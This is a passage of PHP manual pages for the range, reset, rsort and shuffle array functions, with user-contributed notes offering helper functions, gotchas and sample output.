>>$SimpleArray
array(3) {
  [0]=>  NULL
  [1]=>  NULL
  [2]=>  NULL
}

>>$MultiArray
array(3) {
  [0]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [1]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
  [2]=>  array(2) {
    [0]=>    NULL
    [1]=>    NULL
  }
}

?>
krdr dot mft at gmail dot com 20-Aug-2013 06:48
I've been introduced with range() function not so long ago, and I found that examples about it is somewhat wrong, even inefficient:

<?php
$o = "";
$time_start = microtime(true);
foreach(range(1, 10000) as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangein: '.$time.'<br />';

$o = "";
$time_start = microtime(true);
$a = range(1, 10000);
foreach($a as $val) {
    $o .= $val;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo 'rangeout: '.$time.'<br />';

?>

Which gives results:

rangein: 0.0025348663330078
rangeout: 0.0019199848175049

In some cases difference is even bigger and proportional to the range generated. I suppose that results of range() are cached/hashed.

Note: execution order does affects execution times, but difference still exists
Ray.Paseur often uses Gmail 07-Jun-2013 12:16
Interestingly, these two statements produce identical 26-character alphabet arrays.

<?php
$arr = range('A',  'Z');
$arr = range('AA', 'ZZ');
gtisza at gmail dot com 25-Apr-2013 07:27
You might expect range($n, $n-1) to be an empty array (as in e.g. Python) but actually PHP will assume a step of -1 if start is larger than end.
Palz 30-Oct-2012 07:59
To create a range array like

Array
(
    [11] => 1
    [12] => 2
    [13] => 3
    [14] => 4
)

combine two range arrays using array_combine:

array_combine(range(11,14),range(1,4))
ktamas77 at gmail dot com 04-Aug-2012 07:59
if you need zero padding, string prefixes or any other masks, then a simple combination of array_map, inline functions and sprintf is your friend.

<?php

$a = array_map(function($n) { return sprintf('sample_%03d', $n); }, range(50, 59) );

print_r($a);

?>

Will result:

Array
(
    [0] => sample_050
    [1] => sample_051
    [2] => sample_052
    [3] => sample_053
    [4] => sample_054
    [5] => sample_055
    [6] => sample_056
    [7] => sample_057
    [8] => sample_058
    [9] => sample_059
)
me at phpscott dot com 24-May-2012 02:37
So, I needed a quick and dirty way to create a dropdown select for hours, minutes and seconds using 2 digit formatting, and to create those arrays of data, I combined range with array merge..

<?php
$prepend = array('00','01','02','03','04','05','06','07','08','09');
$hours     = array_merge($prepend,range(10, 23));
$minutes     = array_merge($prepend,range(10, 59));
$seconds     = $minutes;
?>

Super simple.
dries at volta dot be 09-Feb-2012 08:30
Ever wanted to generate an array with a range of column names for use in Excel file related parsing?
I've wrote a function that starts at the A column and adds column names up until the column you specified.

<?php

/**
 * This function creates an array with column names up until the column
 * you specified.
*/
function createColumnsArray($end_column, $first_letters = '')
{
  $columns = array();
  $length = strlen($end_column);
  $letters = range('A', 'Z');

  // Iterate over 26 letters.
  foreach ($letters as $letter) {
      // Paste the $first_letters before the next.
      $column = $first_letters . $letter;

      // Add the column to the final array.
      $columns[] = $column;

      // If it was the end column that was added, return the columns.
      if ($column == $end_column)
          return $columns;
  }

  // Add the column children.
  foreach ($columns as $column) {
      // Don't itterate if the $end_column was already set in a previous itteration.
      // Stop iterating if you've reached the maximum character length.
      if (!in_array($end_column, $columns) && strlen($column) < $length) {
          $new_columns = createColumnsArray($end_column, $column);
          // Merge the new columns which were created with the final columns array.
          $columns = array_merge($columns, $new_columns);
      }
  }

  return $columns;
}

?>

Usage:

<?php

// Return an array with all column names from A until and with BI.
createColumnsArray('BI');

?>
Aram Kocharyan 28-Feb-2011 04:58
Here's a function to generate ranges from strings:

<?php

/*  Creates an array of integers based on a given range string of format "int - int"
    Eg. range_str('2 - 5'); */
function range_str($str) {
    preg_match('#(\\d+)\\s*-\\s*(\\d+)#', $str, $matches);
    if ( count($matches) == 3 ) {
        return range($matches[1], $matches[2]);
    }
    return FALSE;
}

// Test
$array = range_str(' 2 - 4 ');
print_r($array);

?>

This outputs:

Array
(
    [0] => 2
    [1] => 3
    [2] => 4
)
jay at NOspam dot myd3 dot com 30-Apr-2009 02:54
This is a modified version of thomas' range_string() function. It's simpler, cleaner, and more robust, but it lacks the advanced features his function had, hopefully it will be of assitance to someone.

Examples:

    input: "1, 2, 3, 4, 5, 6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1-6" --> output: 1, 2, 3, 4, 5, 6
    input: "1 - -6" --> output: 1, 2, 3, 4, 5, 6
    input: "0 - 0" --> output: 0
    input: "1, 4-6, 2" --> output: 1, 2, 4, 5, 6
    input: "6,3-1" --> output: 1, 2, 3, 6

<?php

define('RANGE_ARRAY_SORT', 1);
define('RANGE_ARRAY', 2);
define('RANGE_STRING_SORT', 3);
define('RANGE_STRING', 4);

function range_string($range_str, $output_type = RANGE_ARRAY_SORT)
{
    // Remove spaces and nother non-essential characters
    $find[]    = "/[^\d,\-]/";
    $replace[] = "";

    // Remove duplicate hyphens
    $find[]    = "/\-+/";
    $replace[] = "-";

    // Remove duplicate commas
    $find[]    = "/\,+/";
    $replace[] = ",";

    $range_str = preg_replace($find, $replace, $range_str);

    // Remove any commas or hypens from the end of the string
    $range_str = trim($range_str,",-");

    $range_out = array();
    $ranges    = explode(",", $range_str);

    foreach($ranges as $range)
    {

        if(is_numeric($range) || strlen($range) == 1)
        {
            // Just a number; add it to the list.
            $range_out[] = (int) $range;
        }
        else if(is_string($range))
        {

            // Is probably a range of values.
           $range_exp = preg_split("/(\D)/",$range,-1,PREG_SPLIT_DELIM_CAPTURE);

            $start = $range_exp[0];
            $end   = $range_exp[2];

            if($start > $end)
            {
                for($i = $start; $i >= $end; $i -= 1)
                {
                    $range_out[] = (int) $i;
                }
            }
            else
            {
                for($i = $start; $i <= $end; $i += 1)
                {
                    $range_out[] = (int) $i;
                }
            }

        }
    }

    switch ($output_type) {
        case RANGE_ARRAY_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_ARRAY:
            return $range_out;
            break;

        case RANGE_STRING_SORT:
            $range_out = array_unique($range_out);
            sort($range_out);

        case RANGE_STRING:

        default:
            return implode(", ", $range_out);
            break;
    }
}

// Sample Usage:
$range = range_string("6, 3-1");

?>
ThinkMedical at Gmail dot com 26-Aug-2008 02:11
foreach(range()) whilst efficiant in other languages, such as python, it is not (compared to a for) in php*.

php is a C-inspired language and thus for is entirely in-keeping with the lanuage aethetic to use it

<?php
//efficiant
for($i = $start; $i < $end; $i+=$step)
{
        //do something with array
}

//inefficiant
foreach(range($start, $end, $step) as $i)
{
        //do something with array
}
?>

That the officiant documentation doesnt mention the for loop is strange.

Note however, that in PHP5 foreach is faster than for when iterating without incrementing a variable.

* My tests using microtime and 100 000 iterations consistently (~10 times) show that for is 4x faster than foreach(range()).
captvanhalen at gmail dot com 27-Mar-2008 07:33
Here is a home rolled range() function that uses the step feature for those unfortunate souls who cannot use PHP5:

<?php
function my_range( $start, $end, $step = 1) {

    $range = array();

    foreach (range( $start, $end ) as $index) {

        if (! (($index - $start) % $step) ) {
            $range[] = $index;
        }
    }

    return $range;
}
?>
chris at laflash dot org 10-May-2007 01:47
Quick HTML menus with minimum and maximum sets of years:

<?php
    /*
    ** Quick HTML menus with minimum and maximum sets of years.
    ** @author Chris Charlton <chris@laflash.org>
    ** @license FREE!
    */

    // Years range setup
    $year_built_min = 1900;
    $year_built_max = date("Y");
?>
<select id="yearBuiltMin" size="1">
    <?php // Generate minimum years

        foreach (range($year_built_min, $year_built_max) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>

<select id="yearBuiltMax" size="1">
      <?php // Generate max years

        foreach (range($year_built_max, $year_built_min) as $year) { ?>
        <option value="<?php echo($year); ?>"><?php echo($year); ?></option>
        <?php } ?>
</select>
m0sh3 at hotmail dot com 02-Mar-2007 02:46
Here's how i use it to check if array is associative or not:

<?php

if (array_keys($arr)===range(0, sizeof($arr)-1)) {
// not associative array

} else {
// associative array

}

?>
manuel at levante dot de 07-Nov-2006 02:25
<?php
function srange ($s) {
  preg_match_all("/([0-9]{1,2})-?([0-9]{0,2}) ?,?;?/", $s, $a);
  $n = array ();
  foreach ($a[1] as $k => $v) {
    $n  = array_merge ($n, range ($v, (empty($a[2][$k])?$v:$a[2][$k])));
  }
  return ($n);
}

$s = '1-4 6-7 9-10';
print_r(srange($s));
?>

Return:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 6
    [5] => 7
    [6] => 9
    [7] => 10
)
subscription101 at hotmail dot com 08-Jan-2006 03:36
A much simpler way of creating a range of even numbers is by starting with an even number:

<?php

    range(2, 10, 2);

?>
emory underscore smith at hotmail 21-Aug-2005 04:53
since its not stated explicitly above, thought id point out that you arent limited to using integers.

however, be careful when doing so, as you might not get the range you expect!

to illustrate:

<?php
$am = range(500,1600,10);
$fm = range(88.1,107.9,.2);
print_r($am);
print_r($fm);
?>

print_r($am) yields the expected result:

Array
(
    [0] => 500
    [1] => 510
    [2] => 520
    ...
    [109] => 1590
    [110] => 1600
)

print_r($fm), however, falls a bit (1%) short:

Array
(
    [0] => 88.1
    [1] => 88.3
    [2] => 88.5
    ...
    [97] => 107.5
    [98] => 107.7
)

so, if you want to use a non-integral step size params for numeric ranges, be sure to account for fp representation accuracy and error accumulation; a step size of something like pi or 1/10 could spell disaster for a large range. if in doubt, use integral steps and divide ... something like <?php range(88.1,108,.2) ?> might work to recover 107.9, but would not be scalable like, say <?php array_map(create_function('$x','return $x/10;'),range(881,1079,2)) ?>.

-emory
derek at php dot net 08-May-2005 03:13
This should emulate range() a little better.
<?php
function range_wroar($low, $high, $step = 1) {
    $arr = array();
    $step = (abs($step)>0)?abs($step):1;
    $sign = ($low<=$high)?1:-1;
    if(is_numeric($low) && is_numeric($high)) {
        //numeric sequence
        for ($i = (float)$low; $i*$sign <= $high*$sign; $i += $step*$sign)
            $arr[] = $i;
    }    else    {
        //character sequence
        if (is_numeric($low))
            return $this->range($low, 0, $step);
        if (is_numeric($high))
            return $this->range(0, $high, $step);
        $low = ord($low);
        $high = ord($high);
        for ($i = $low; $i*$sign <= $high*$sign; $i += $step*$sign) {

            $arr[] = chr($i);
        }
    }
    return $arr;
}
?>
j dot gizmo at aon dot at 23-Sep-2004 01:23
i figured i'd add some more functionality to the myRange() functions below.
now you can, besides giving a $step parameter,
1. count backwards
2. count with letters
3. give whatever parameter you want, there's nothing (i know of) that will cause an endless loop (try a negative $step for the previous function....)

<?php
function myRange($num1, $num2, $step=1)
{
    if (is_numeric($num1) && is_numeric($num2))
    {
        //we have a numeric range
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get the direction
        for($i = (float)$num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = $i;
        }
    }
    else
    {
        //we have a character range
        $num1=ord((string)$num1); //convert to ascii value
        $num2=ord((string)$num2);
        $step = ( abs($step)>0 ? abs($step) : 1 ); //make $step positive
        $dir = ($num1<=$num2 ? 1 : -1); //get direction
        for($i = $num1; $i*$dir <= $num2*$dir; $i += $step*$dir)
        {
            $temp[] = chr($i);
        }
    }
    return $temp;
}

print_r(myRange( 1, 3, 0.5 )); //you can use fractional steps
print_r(myRange( "a", "k", 3 )); //or count letters
print_r(myRange( "5", "9" )); //numbers are detected even if hidden in strtings
print_r(myRange( "!", "%", 1/pi() )); //or mess around with senseless parameters

?>


Set the internal pointer of an array to its first element

  • « range
  • rsort »
  • PHP Manual
  • Array Functions
  • Set the internal pointer of an array to its first element

reset

(PHP 4, PHP 5)

reset — Set the internal pointer of an array to its first element

Description

mixed reset ( array &$array )

reset() rewinds array's internal pointer to the first element and returns the value of the first array element.

Parameters

array

The input array.

Return Values

Returns the value of the first array element, or FALSE if the array is empty.

Examples

Example #1 reset() example

<?php

$array = array('step one', 'step two', 'step three', 'step four');

// by default, the pointer is on the first element
echo current($array) . "<br />\n"; // "step one"

// skip two steps
next($array);
next($array);
echo current($array) . "<br />\n"; // "step three"

// reset pointer, start again on step one
reset($array);
echo current($array) . "<br />\n"; // "step one"

?>

See Also

  • current() - Return the current element in an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • end() - Set the internal pointer of an array to its last element
  • next() - Advance the internal array pointer of an array
  • prev() - Rewind the internal array pointer

User Contributed Notes

gardnerjohng at gmail dot com 18-Sep-2014 02:54
If you need an easy way to retrieve the first *key* in an array (instead of the value), it can be done like this:

<?php
    $properties = array(
        'colour'   => 'grey',
        'flavour'  => 'rubber',
        'name'     => 'Mouse Ball',
        'texture'  => 'rubbery'
    );

    #    Will output "colour".
    echo reset(array_keys($properties));
?>
Potentially helpful for configuration files that define a sequence of items as an associative array.
Mladen Janjetovic 16-May-2013 07:07
Note that you can't use pointer here. It will reset the iteration counter in this case.
foreach($array as $key=>&$value) {...}

Use standard foreach instead
foreach($array as $key=>$value) {...}
milo at mdlwebsolutions dot com 04-Apr-2012 07:22
GOTCHA: If your first element is false, you don't know whether it was empty or not.

<?php

$a = array();
$b = array(false, true, true);
var_dump(reset($a) === reset($b)); //bool(true)

?>

So don't count on a false return being an empty array.
kendsnyder at gmail dot com 08-Feb-2010 05:12
Don't use `reset()` to get the first value of an associative array. It works great for true arrays but works unexpectedly on Iterator objects. http://bugs.php.net/bug.php?id=38478
m dot lebkowski+php at gmail dot com 03-Aug-2006 10:58
Colin, there`s a better (IMO) way to solve your problem.
<?
  // ...
  foreach($a as $k => &$d){}   // notice the "&"
  // ...
?>
It`s a new feature in PHP5 to use references in foreach loop. This way PHP isn`t making a copy of the array, so the internal pointer won`t be reset.
Colin 06-Jun-2006 05:11
I had a problem with PHP 5.0.5 somehow resetting a sub-array of an array with no apparent reason.  The problem was in doing a foreach() on the parent array PHP was making a copy of the subarrays and in doing so it was resetting the internal pointers of the original array.

The following code demonstrates the resetting of a subarray:

<?
$a = array(
    'a' => array(
        'A', 'B', 'C', 'D',
    ),
    'b' => array(
        'AA', 'BB', 'CC', 'DD',
    ),
);

// Set the pointer of $a to 'b' and the pointer of 'b' to 'CC'
reset($a);
next($a);
next($a['b']);
next($a['b']);
next($a['b']);

var_dump(key($a['b']));
foreach($a as $k => $d)
{
}
var_dump(key($a['b']));
?>

The result of the two var dumps are 3 and 0, respectively.  Clearly the internal pointer of $a['b'] was reset by doing the foreach loop over $a.

Each time the foreach loop iterated over the 'a' and 'b' keys of $a it made a copy of $a['a'] and $a['b'] into $d which resetted the internal pointers of $a['a'] and $a['b'] despite making no obvious changes.

The solution is instead to iterate over the keys of $a.

<?
foreach(array_keys($a) as $k)
{
}
?>

and using $a[$k] (or creating an alias of $a[$k] as $d and dealing with the consequences of using aliases).

For the curious, I was implementing the Iterator interface on a dummy object and calling a global object to do the actual iteration (also to cope with PHP's lack of C-style pointers which when doing a $a = $b on objects would cause the data in $a to be inconsistent with the data in $b when modified).  Being that I had many dummy objects representing different data sets I chose to store each data set as a subarray contained within the global object.  To make this work each dummy object has to store a key (which can freely be duplicated without problems) that it passes to the global object when rewind, key, current, next, and valid were called on the dummy object.

Unfortunately for me, my key required to be more than just a simple string or number (if it was then it could be used to directly index the subarray of data for that object and problem avoided) but was an array of strings.  Instead, I had to iterate over (with a foreach loop) each subarray and compare the key to a variable stored within the subarray.

So by using a foreach loop in this manner and with PHP resetting the pointer of subarrays it ended up causing an infinite loop.

Really, this could be solved by PHP maintaining internal pointers on arrays even after copying.
27-Feb-2006 10:20
I wrote a nice function, which rotates values of array. Very useful for table rows where you have to rotate colors

<?php
function rotate(&$array) {
    $item = current($array);
    if (!next($array)) reset($array);
    return $item;
}
?>
Alexandre Koriakine 18-Nov-2005 11:09
Also it's good to reset this way the multidimentional arrays:

reset($voo2['moder']);
while (list($key, $value) = each ($voo2['moder'])) {

reset($voo2['moder'][$key]);
while (list($key1, $value1) = each ($voo2['moder'][$key])) {
#do what u want
}

}
leaetherstrip at inbox dot NOSPAMru 17-Oct-2004 03:54
Note that reset() will not affect sub-arrays of multidimensional array.

For example,

<?php
    $arr = array(
        1 => array(2,3,4,5,6),
        2 => array(6,7,8,9,10)
    );

    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }

    reset($arr);

    // Do the same again
    while(list($i,) = each($arr))
    {
        echo "IN \$arr[$i]<br>";

        while(list($sub_i,$entry) = each($arr[$i]))
        {
            echo "\$arr[$i][$sub_i] = $entry<br>";
        }
    }
?>

will print

IN $arr[1]
$arr[1][0] = 2
$arr[1][1] = 3
$arr[1][2] = 4
$arr[1][3] = 5
$arr[1][4] = 6
IN $arr[2]
$arr[2][0] = 6
$arr[2][1] = 7
$arr[2][2] = 8
$arr[2][3] = 9
$arr[2][4] = 10
IN $arr[1]
IN $arr[2]
kk at shonline dot de 30-Jul-1998 02:22
When used on a scalar or unset value, reset() spews warning messages. This is often a problem when accessing arrays generated from HTML form input data: these are scalar or unset if the user didn't enter sufficient information.

You can silence these error messages by prefixing an @ (at sign) to reset(), but it is better style to protect your reset() and the following array traversal with an if (isset()). Example code:

<?php
if (isset($form_array)) {
  reset($form_array);
  while (list($k, $v) = each($form_array) {
    do_something($k, $v);
  }
}
?>


Sort an array in reverse order

  • « reset
  • shuffle »
  • PHP Manual
  • Array Functions
  • Sort an array in reverse order

rsort

(PHP 4, PHP 5)

rsort — Sort an array in reverse order

Description

bool rsort ( array &$array [, int $sort_flags = SORT_REGULAR ] )

This function sorts an array in reverse order (highest to lowest).

Parameters

array

The input array.

sort_flags

You may modify the behavior of the sort using the optional parameter sort_flags, for details see sort().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rsort() example

<?php
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
foreach ($fruits as $key => $val) {
    echo "$key = $val\n";
}
?>

The above example will output:

0 = orange
1 = lemon
2 = banana
3 = apple

The fruits have been sorted in reverse alphabetical order.

Notes

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

See Also

  • arsort() - Sort an array in reverse order and maintain index association
  • krsort() - Sort an array by key in reverse order
  • The comparison of array sorting functions

User Contributed Notes

suniafkhami at gmail dot com 20-Feb-2014 11:40
If you are sorting an array from a database result set, such as MySQL for example, another approach could be to have your database sort the result set by using ORDER BY DESC, which would be the equivalent of using rsort() on the resulting array in PHP.

[Edited by moderator for clarity: googleguy at php dot net]
Alex M 28-Jun-2005 04:39
A cleaner (I think) way to sort a list of files into reversed order based on their modification date.

<?php
   $path = $_SERVER[DOCUMENT_ROOT]."/files/";
   $dh = @opendir($path);

   while (false !== ($file=readdir($dh)))
   {
      if (substr($file,0,1)!=".")
         $files[]=array(filemtime($path.$file),$file);   #2-D array
   }
   closedir($dh);

   if ($files)
   {
      rsort($files); #sorts by filemtime

      #done! Show the files sorted by modification date
      foreach ($files as $file)
         echo "$file[0] $file[1]<br>\n";  #file[0]=Unix timestamp; file[1]=filename
   }
?>
pshirkey at boosthardware dot com 14-Jan-2005 10:06
I needed a function that would sort a list of files into reversed order based on their modification date.

Here's what I came up with:

function display_content($dir,$ext){

    $f = array();
    if (is_dir($dir)) {
        if ($dh = opendir($dir)) {
            while (($folder = readdir($dh)) !== false) {
                if (preg_match("/\s*$ext$/", $folder)) {
                    $fullpath = "$dir/$folder";
                    $mtime = filemtime ($fullpath);

                    $ff = array($mtime => $fullpath);
                    $f = array_merge($f, $ff);

            }
                }

            rsort($f, SORT_NUMERIC);

            while (list($key, $val) = each($f)) {
                $fcontents = file($val, "r");
                while (list($key, $val) = each($fcontents))
                    echo "$val\n";
            }

        }
    }

        closedir($dh);
}

Call it like so:

display_content("folder","extension");
ray at non-aol dot com 02-Nov-2004 04:49
Like sort(), rsort() assigns new keys for the elements in array. It will remove any existing keys you may have assigned, rather than just reordering the keys.  This means that it will destroy associative keys.

$animals = array("dog"=>"large",  "cat"=>"medium",  "mouse"=>"small");
print_r($animals);
//Array ( [dog] => large [cat] => medium [mouse] => small )

rsort($animals);
print_r($animals);
//Array ( [0] => small [1] => medium [2] => large )

Use KSORT() or KRSORT() to preserve associative keys.
rnk-php at kleckner dot net 17-Jun-2003 09:37
Apparently rsort does not put arrays with one value back to zero.  If you have an array like: $tmp = array(9 => 'asdf') and then rsort it, $tmp[0] is empty and $tmp[9] stays as is.
slevy1 at pipeline dot com 13-Jun-2001 08:15
I thought rsort was working successfully or on a multi-dimensional array of strings that had first been sorted with usort(). But, I noticed today that the array  was only partially in descending order.  I tried array_reverse on it and that seems to have solved things.


Shuffle an array

  • « rsort
  • sizeof »
  • PHP Manual
  • Array Functions
  • Shuffle an array

shuffle

(PHP 4, PHP 5)

shuffle — Shuffle an array

Description

bool shuffle ( array &$array )

This function shuffles (randomizes the order of the elements in) an array.

Parameters

array

The array.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 shuffle() example

<?php
$numbers = range(1, 20);
shuffle($numbers);
foreach ($numbers as $number) {
    echo "$number ";
}
?>

Notes

Note: This function assigns new keys to the elements in array. It will remove any existing keys that may have been assigned, rather than just reordering the keys.

See Also

  • array_rand() - Pick one or more random entries out of an array
  • The comparison of array sorting functions

User Contributed Notes

peter at removethisplease dot ddcrew dot com 02-Dec-2013 10:55
This seems to do reasonably well as a shuffle() that preserves index assocation:

<?php
function ashuffle (&$arr) {
    uasort($arr, function ($a, $b) {
        return rand(-1, 1);
    });
}
?>

Obviously only works if PHP has closures enabled...
timtrinidad at gmail dot com 08-Aug-2011 09:38
It appears that the suhosin extensions >= 0.9.26 that have the suhosin.mt_srand.ignore and suhosin.srand.ignore settings set to "Off" do not affect shuffle().

In other words, the only way I was able to get pseudo-random and predictable results through shuffle() was to disable the extension.
Eric Anderson 29-Mar-2011 06:33
Copy and paste this script and refresh the page to see the shuffling effect.

<?php
    /**
    * Shuffles and displays cards in a deck
    * @author:     Eric Anderson
    * @filename:   deckofcards.php
    */

    // Create an array of face values
    // and an array of card values
    // then merge them together
    $cards = array_merge(array("J", "Q", "K", "A"), range(2,10)); // 13 cards

    // Shuffle the cards
    shuffle($cards);

    // Create an multidimentional array to hold the 4 suits
    $suits = array(
        'Heart' => array(),
        'Spade' => array(),
        'Diamond' => array(),
        'Club' => array()
        );

    // Add cards to their respective suits
    for($i = 0; $i < count($suits); $i++)
    {
        for($j = 0; $j < count($cards); $j++)
        {
            $suits['Heart'][$j] = $cards[$j]."<span style=color:#FF0000;>&hearts;</span>";
            $suits['Spade'][$j] = $cards[$j]."&spades;";
            $suits['Diamond'][$j] = $cards[$j]."<span style=color:#FF0000;>&diams;</span>";
            $suits['Club'][$j] = $cards[$j]."&clubs;";
        }
    }

    // Create a deck
    $deck = array();

    // Merge the suits into the empty deck array
    $deck = array_merge($deck, $suits);

    // Display the deck to the screen
    echo "<p><b>Deck of cards:</b></p>";
    foreach($deck as $k1 => $v1)
    {
        // Display suit name
        echo "<p>&emsp;$k1's<br />&emsp;{<br />&emsp;&emsp;";
        $acc = 0;

        // Display card value
        foreach($v1 as $k2 => $v2)
        {
            echo "$v2&nbsp";
            $acc++;

            if ($acc == 4)
            {
                echo "<br />&emsp;&emsp;";
                $acc = 0;
            }
        }
        echo "<br />&emsp;}</p>";
    }
?>
andjones at gmail dot com 27-Aug-2010 06:35
Shuffle associative and non-associative array while preserving key, value pairs. Also returns the shuffled array instead of shuffling it in place.

<?php

function shuffle_assoc($list) {
  if (!is_array($list)) return $list;

  $keys = array_keys($list);
  shuffle($keys);
  $random = array();
  foreach ($keys as $key)
    $random[$key] = $list[$key];

  return $random;
}

?>
ezakto at ezakto dot com 25-Jul-2010 08:13
This is a replica of shuffle() but preserving keys (associative and non-associative)

bool kshuffle  (  array &$array  )

<?php

function kshuffle(&$array) {
    if(!is_array($array) || empty($array)) {
        return false;
    }
    $tmp = array();
    foreach($array as $key => $value) {
        $tmp[] = array('k' => $key, 'v' => $value);
    }
    shuffle($tmp);
    $array = array();
    foreach($tmp as $entry) {
        $array[$entry['k']] = $entry['v'];
    }
    return true;
}

$array = array('first' => 0, 'second' => 1, 'third' => 2);
kshuffle($array);
print_r($array); // [second] => 1 [first] => 0 [third] => 2

$array = array('first', 'second', 'third');
kshuffle($array);
print_r($array); // [1] => second [2] => third [0] => first

?>
m0gr14 at gmail dot com 04-Jul-2010 07:39
This function shuffles an associative array recursive.

<?php

/**
* Shuffles an associative array recursive
* @author Mogria <m0gr14@gmail.com>
* @param array $array
* @return array
*
*/

function rec_assoc_shuffle($array)
{
  $ary_keys = array_keys($array);
  $ary_values = array_values($array);
  shuffle($ary_values);
  foreach($ary_keys as $key => $value) {
    if (is_array($ary_values[$key]) AND $ary_values[$key] != NULL) {
      $ary_values[$key] = rec_assoc_shuffle($ary_values[$key]);
    }
    $new[$value] = $ary_values[$key];
  }
  return $new;
}

?>

Example of use:
<?php
$array =
    Array(
        1,
        Array(
            1,
            2,
            3,
            4,
            Array(
                1,
                2,
                3,
                4,
                5
            )
        ),
        2,
        3,
        Array(
            0,
            1,
                Array(
                    1,
                    2,
                    3,
                    4,
                        Array(
                            1,
                            6,
                            5,
                            2,
                            1,
                            3
                        )
                )
        ),
        4,
        5,
        6,
        7
    );
$array = rec_assoc_shuffle($array);
echo '<pre>';
print_r($array);
echo '</pre>';

/*
Returns:
Array
(
    [0] => 6
    [1] => 5
    [2] => Array
        (
            [0] => 1
            [1] => 3
            [2] => Array
                (
                    [0] => 3
                    [1] => 1
                    [2] => 2
                    [3] => 4
                    [4] => 5
                )

            [3] => 2
            [4] => 4
        )

    [3] => 3
    [4] => Array
        (
            [0] => Array
                (
                    [0] => 3
                    [1] => 1
                    [2] => 4
                    [3] => Array
                        (
                            [0] => 5
                            [1] => 1
                            [2] => 3
                            [3] => 6
                            [4] => 1
                            [5] => 2
                        )

                    [4] => 2
                )

            [1] => 1
            [2] => 0
        )

    [5] => 2
    [6] => 1
    [7] => 4
    [8] => 7
)

*/

?>
rick at suggestive dot com 24-Mar-2010 11:19
Many people in SEO need to supply an array and shuffle the results and need the same result each time that page is generated. This is my implementation with a working example:

<?php
function seoShuffle(&$items,$string) {
    mt_srand(strlen($string));
    for ($i = count($items) - 1; $i > 0; $i--){
        $j = @mt_rand(0, $i);
        $tmp = $items[$i];
        $items[$i] = $items[$j];
        $items[$j] = $tmp;
    }
}

$items = array('one','two','three','four','five','six');
$string = 'whatever';

echo '<pre>';
print_r($items);
echo '</pre>';

seoShuffle($items,$string);

echo '<pre>';
print_r($items);
echo '</pre>';
?>
tyler at CompLangs dot com 02-Jan-2010 03:59
Here is a quick function I wrote that generates a random password and uses shuffle() to easily shuffle the order.

<?php
public function randPass($upper = 3, $lower = 3, $numeric = 3, $other = 2) {
    //we need these vars to create a password string
    $passOrder = Array();
    $passWord = '';

    //generate the contents of the password
    for ($i = 0; $i < $upper; $i++) {
        $passOrder[] = chr(rand(65, 90));
    }
    for ($i = 0; $i < $lower; $i++) {
        $passOrder[] = chr(rand(97, 122));
    }
    for ($i = 0; $i < $numeric; $i++) {
        $passOrder[] = chr(rand(48, 57));
    }
    for ($i = 0; $i < $other; $i++) {
        $passOrder[] = chr(rand(33, 47));
    }

    //randomize the order of characters
    shuffle($passOrder);

    //concatenate into a string
    foreach ($passOrder as $char) {
        $passWord .= $char;
    }

    //we're done
    return $passWord;
}
?>
ahmad at ahmadnassri dot com 19-Nov-2009 05:58
shuffle for associative arrays, preserves key=>value pairs.
(Based on (Vladimir Kornea of typetango.com)'s function)

<?php
    function shuffle_assoc(&$array) {
        $keys = array_keys($array);

        shuffle($keys);

        foreach($keys as $key) {
            $new[$key] = $array[$key];
        }

        $array = $new;

        return true;
    }
?>

*note: as of PHP 5.2.10, array_rand's resulting array of keys is no longer shuffled, so we use array_keys + shuffle.
Anonymous 28-Aug-2009 06:18
I needed a simple function two shuffle a two dimensional array. Please note the second level arrays must be indexed using integers, for example $myarray[0]["Name"] and not $myarray["One"]["Name"]. Here is the function:

<?php
function twodshuffle($array)
{
    // Get array length
    $count = count($array);
    // Create a range of indicies
    $indi = range(0,$count-1);
    // Randomize indicies array
    shuffle($indi);
    // Initialize new array
    $newarray = array($count);
    // Holds current index
    $i = 0;
    // Shuffle multidimensional array
    foreach ($indi as $index)
    {
        $newarray[$i] = $array[$index];
        $i++;
    }
    return $newarray;
}
?>

Please note it only works on two dimensional arrays. Here is an example:

<?php
$myarray = array("Google" => array("Name" => "Google", "URL" => "www.google.com", "Usage" => "Googling"), "Yahoo" => array("Name" => "Yahoo", "URL" => "www.yahoo.com", "Usage" => "Yahooing?"), "Ask" => array("Name" => "Ask", "URL" => "www.ask.com", "Usage" => "Asking Jeeves"));

print_r(twodshuffle($myarray));

/* And the result is:
Array ( [0] => Array ( [Name] => Ask [URL] => www.ask.com [Usage] => Asking Jeeves ) [1] => Array ( [Name] => Google [URL] => www.google.com [Usage] => Googling ) [2] => Array ( [Name] => Yahoo [URL] => www.yahoo.com [Usage] => Yahooing? ) )
*/
?>

Hope you find it useful!
aalaap at gmail dot com 08-Jun-2009 02:12
I've been wondering why shuffle() doesn't provide the shuffled array as a return value instead of a bool. I mean, what could possibly go wrong in shuffling elements from an array?

So I use something like this:

<?php
function array_shuffle($array) {
    if (shuffle($array)) {
        return $array;
    } else {
        return FALSE;
    }
}
?>
sivaji2009 at gmail dot com 17-May-2009 11:07
Here i wrote a custom shuffle function which preserves the array index and distributes the array element randomly.

<?php

/*
 * return an array whose elements are shuffled in random order.
 */
function custom_shuffle($my_array = array()) {
  $copy = array();
  while (count($my_array)) {
    // takes a rand array elements by its key
    $element = array_rand($my_array);
    // assign the array and its value to an another array
    $copy[$element] = $my_array[$element];
    //delete the element from source array
